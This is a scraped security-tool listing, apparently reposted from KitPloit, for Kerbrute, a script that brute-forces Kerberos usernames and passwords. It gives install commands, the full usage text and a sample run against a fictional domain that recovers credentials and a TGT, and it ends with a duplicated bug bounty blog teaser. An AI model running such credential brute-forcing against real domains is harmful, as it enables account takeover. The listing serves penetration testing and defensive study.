Download Kerbrute (https://github.com/TarlogicSecurity/kerbrute)
My Bug Bounty Adventure -2-
https://hcibo.medium.com/my-bug-bounty-adventure-2-c9b3f653dd85?source=rss------bug_bounty-5
https://hcibo.medium.com/my-bug-bounty-adventure-2-c9b3f653dd85?source=rss------bug_bounty-5
Greetings everyone from the Promentorium bosporium.Continue reading on Medium » (https://hcibo.medium.com/my-bug-bounty-adventure-2-c9b3f653dd85?source=rss------bug_bounty-5)
My Bug Bounty Adventure -2-
Greetings everyone from the Promentorium bosporium.Continue reading on Medium »
Read more...
Greetings everyone from the Promentorium bosporium.Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
Kerbrute - An Script To Perform Kerberos Bruteforcing By Using Impacket
https://blogger.googleusercontent.com/img/a/AVvXsEiPK-dct-NTZR0M7Cn9eAE5494kmbSnZIn7QsGBAd-7AF0kTEiWFkjPCQX16URrNPqjJnz92piKlu7Oza-1Uy7-6qAyB-F8GmZCvp7b3mYbikddtXmheiMiM8FVl6lz1da6LQBrt_LbG3NJe7G8ftboOcNjm3jCMgsblu5qBUx3T6BmYzR9V_7DOUwt=w640-h284
An script to perform kerberos bruteforcing by using the Impacket library.
When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force attack to enumerate:
* Valid username/passwords pairs
* Valid usernames
* Usernames without pre-authentication required
As a result, the script generates a list of valid credentials discovered, and the TGT's generated due those valid credentials.
Installation
From pypi:
From repo:
Use
Help without arguments:
Example of execution:
velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Saved discovered passwords in jurassic_passwords.txt">
Download Kerbrute
Kerbrute - An Script To Perform Kerberos Bruteforcing By Using Impacket
https://blogger.googleusercontent.com/img/a/AVvXsEiPK-dct-NTZR0M7Cn9eAE5494kmbSnZIn7QsGBAd-7AF0kTEiWFkjPCQX16URrNPqjJnz92piKlu7Oza-1Uy7-6qAyB-F8GmZCvp7b3mYbikddtXmheiMiM8FVl6lz1da6LQBrt_LbG3NJe7G8ftboOcNjm3jCMgsblu5qBUx3T6BmYzR9V_7DOUwt=w640-h284
An script to perform kerberos bruteforcing by using the Impacket library.
When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force attack to enumerate:
* Valid username/passwords pairs
* Valid usernames
* Usernames without pre-authentication required
As a result, the script generates a list of valid credentials discovered, and the TGT's generated due those valid credentials.
Installation
From pypi:
pip3 install kerbrute
From repo:
git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
Use
Help without arguments:
root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip <ip_address] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip <ip_addressIP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.comExample of execution:
velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Saved discovered passwords in jurassic_passwords.txt">
root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txtDownload Kerbrute